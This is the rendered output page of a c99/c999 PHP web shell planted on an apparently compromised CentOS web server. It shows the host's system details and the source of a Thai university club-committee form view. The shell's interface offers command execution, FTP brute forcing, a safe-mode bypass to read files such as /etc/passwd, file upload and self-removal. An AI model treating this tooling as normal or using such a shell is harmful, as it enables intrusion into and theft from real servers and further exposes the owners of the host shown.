!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/esa/   drwxr-xr-x
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_sc_committee.php (8.54 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<SCRIPT LANGUAGE="Javascript"><!--
function printWindow(){
browserVersion = parseInt(navigator.appVersion)
if (browserVersion >= 4) window.print()
}

//--></SCRIPT>
<link rel="stylesheet" href="<?=base_url();?>libraries/fcbkcomplete/fcbkcomplete.css" type="text/css"  charset="utf-8" />
<script src="<?=base_url();?>libraries/fcbkcomplete/jquery.js" type="text/javascript" charset="utf-8"></script>
<script src="<?=base_url();?>libraries/fcbkcomplete/fcbkcomplete.min.js" type="text/javascript" charset="utf-8"></script>
<script src="<?=base_url();?>libraries/fcbkcomplete/fcbkcomplete.js" type="text/javascript" charset="utf-8"></script>

<script type="text/javascript">

    function getAcY(){
        // fcbkcomplete
        var list_url = "<?=site_url('esa/search/get_std_json');?>"+'/'+$('#year').val();
        $('.holder').remove(); // ตั้งค่า mb_year ใหม่เมื่อมีการเปลี่ยนแปลง
        $.facebooklist('#std_id', '#preadded', '#facebook-auto',{url:list_url,cache:1}, 10, {userfilter:1,casesensetive:0});
    }
    $(document).ready(function() {

        // call fcbkcomplete
        getAcY();

        if($("#smo_id").val()!=''){
            search_view();
            change_smo();
            find_position();
        }
        if ($("#cl_id").val()!=''){
            search_view();
        }
        $("#smo_id").change(function () {
            //if($("#mb_smo_id").val()!=''){
                change_smo();
                find_position();
                search_view();
            //}
        });

        $("#year").change(function () {
            getAcY();
            search_view();
        });

    });    

function do_submit (action) {
    if (action) {
        jQuery("#myform").attr('action', action);
    }

    jQuery("#myform").submit();
}
function change_smo () {
    var smo_id = $("#smo_id").val();
    var url = "<?php echo site_url($this->config->item('sa_folder'));?>/smo_club/get_club/"+smo_id;
    $.ajax({
        url: url,
        global: false,
        type: "GET",
        data: ({smo_id : $('#smo_id').val()
                ,cl_id : "<?=getval('cl_id',$val_arr,''); ?>"
                }),
        async:false,
        success: function(data) 
        {   //alert("success"+data); 
            $('#show_cl').html(data);
        },
        error: function(xhr,state,exception) 
        { //alert("error"); 
            alert(state+', xhr.status = '+xhr.status);
        }
    });
    $("#cl_id").change(function () {
        find_position();
        search_view();
    });
}
function find_position(){

    var url = "<?=site_url($this->config->item('sa_folder').'search/get_position');?>";
    $.ajax({
        url: url,
        global: false,
        type: "GET",
        data: ({smo_id : $('#smo_id').val()
                ,cl_id : $('#cl_id').val()
                ,std_id : $('#std_id').val()
                ,pos_id : "<?=getval('pos_id',$val_arr,''); ?>"
                }),
        //      dataType: "html",
        async:false,
        success: function(data) 
        {   //alert("success"+data); 
            $('#show_pos').html(data);
        },
        error: function(xhr,state,exception) 
        { //alert("error"); 
            alert(state+', xhr.status = '+xhr.status);
        }
    });
}
function search_view(){

    var url = "<?=site_url($this->config->item('sa_folder').'smo_club/cmt_show');?>";
    $.ajax({
        url: url,
        global: false,
        type: "GET",
        data: ({smo_id : $('#smo_id').val()
                ,cl_id : $('#cl_id').val()
                ,year : $('#year').val()
                ,std_id : $('#std_id').val()
                }),
        //      dataType: "html",
        async:false,
        success: function(data) 
        {   //alert("success"+data); 
            $('#show_cmt').html(data);
        },
        error: function(xhr,state,exception) 
        { //alert("error"); 
            alert(state+', xhr.status = '+xhr.status);
        }
    });
}
</script>
<?php
$row_mb 
= isset($qu_mb) ? $qu_mb->row() : NULL;
$attributes = array('id' => 'myform''name' => 'myform');
echo 
form_open($this->config->item('sa_folder').'smo_club/cmt_insert'$attributes);
?>
<table width="80%" align="center">
<tr>
<td align="center"><h3>บันทึก/แก้ไขรายชื่อคณะกรรมการสโมสร/ชมรม</h3></td>
</tr>
<tr>
<td>

<table class="szone2" width="100%">
    <tr >
        <th>ปีการศึกษาที่เข้าร่วม</th>
        <td>
<?php
            $js 
"id=\"year\" style=\"margin:5px;\"";
            echo 
form_dropdown('year'$rs_acYset_value('year',getval('year',$val_arrgetNowYearTh())),$js);
?>
        <?php echo "<br />".form_error('year');?>
        </td>
    </tr>
    <tr >
        <th width="25%">สโมสร</th>
        <td><?php
            
if(count($rs_smo)>2){
                
$js "id=\"smo_id\"  style='margin:5px;'"
                echo 
form_dropdown('smo_id'$rs_smogetval('smo_id',$val_arr,''),$js);
            }else{
                echo 
"<select id='smo_id' name='smo_id' style='margin:5px;' >";
                
$c_smo=1;

                foreach (
$rs_smo as $id => $name) {
                    
//if($c_smo==2){
                        //$select = (getval('smo_id', $val_arr) == $id)?'select':;
                        
echo "<option value=\"".$id."\" ".(( set_value('smo_id') == $id ) ? "selected" "")." >".$name."</option>";
                    
$c_smo++;
                }
                echo 
"</select>";
            }
            echo (isset(
$smo_id))?$smo_id:'';
            echo 
"<span class='error'> *</span>";
            echo 
"<br />".form_error('smo_id');
        
?></td>
    </tr>
    <tr >
        <th>ชมรม</th>
        <td><div id="show_cl" style='margin:5px;'>
            <select id="cl_id" name="cl_id">
            <option selected="selected" value="">-----เลือก-----</option>
            </select>
            
            </div><?php
                
//$js = "id=\"mb_cl_id\"";
                //echo form_dropdown('mb_cl_id', $rs_cl, '',$js);
            
if(count($rs_smo)==2){
                
?><script>change_smo ();</script><?php
            
}
        
?></td>
    </tr>
    <tr >
        <th >ตำแหน่ง</th>
        <td ><div id="show_pos" style="margin:5px;"></div> <?php echo form_error('pos_id');?>
        <?php echo isset($error_pos)? $error_pos '';?>
        </td>
    </tr>
    <tr>
        <th>วันที่แต่งตั้ง</th>
        <td><script>DateInput('fr_date', true, 'DD/MM/YYYY',"<?php echo set_value('fr_date') ? set_value('fr_date') : splitDateDb2(getval('fr_date'$val_arrgetNowDate()), '/');?>");</script>
        </td>
    </tr>

    <tr>
        <th>รหัส/ชื่อ-สกุลนักศึกษา</th>
        <td id="facebook-list" class="input-text">
        <span id="facebook_input" style="display:inline-block"> 
            <input type="text" value="" id="std_id" />
            <ul id="preadded" style="display:none"></ul>
            <div id="facebook-auto" >
                <div class="default">กรุณากรอกรหัส/ชื่อ-สกุลนักศึกษา</div> 
                <ul id="feed"></ul>
            </div>
        </span><br>
        <?php echo form_error('std_id');?>
        <?php echo isset($error_name)? $error_name '';?>
        </td>
    </tr>

    <tr >
        <td colspan="2" align="center" ><input type="button" id="btnSubmit" name="btnSubmit" value="บันทึก" onClick="do_submit('cmt_insert')" />
        <input type="hidden" id="cmt_id" name="cmt_id" value="<?php echo getval('cmt_id'$val_arr);?>" /></td>
    </tr>
</table>

</td>
</tr>
</table><br />
<br>
<div align='right'><?=img($this->config->item('sa_image_printwindow'));?></div>
<br>
<div id="show_cmt">
<table id="table_show" class='tb_1' width="50%" >
    <tr>
        <th align="center" width="10%">ลำดับที่</th>
        <th align="center" >ตำแหน่ง</th>
        <th align="center" >รหัสนักศึกษา</th>
        <th align="center" >ชื่อ-สกุล</th>
        <th align="center" >วันที่แต่งตั้ง</th>
        <!-- <th align="center" width="5%">แก้ไข</th> -->
        <th align="center" width="5%">ลบ</th>
    </tr>
    <tr class='notfound'>
        <td colspan="7" align="center"><?php echo $this->config->item('sa_not_found');?></td>
    </tr>
</table>
</div>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0147 ]--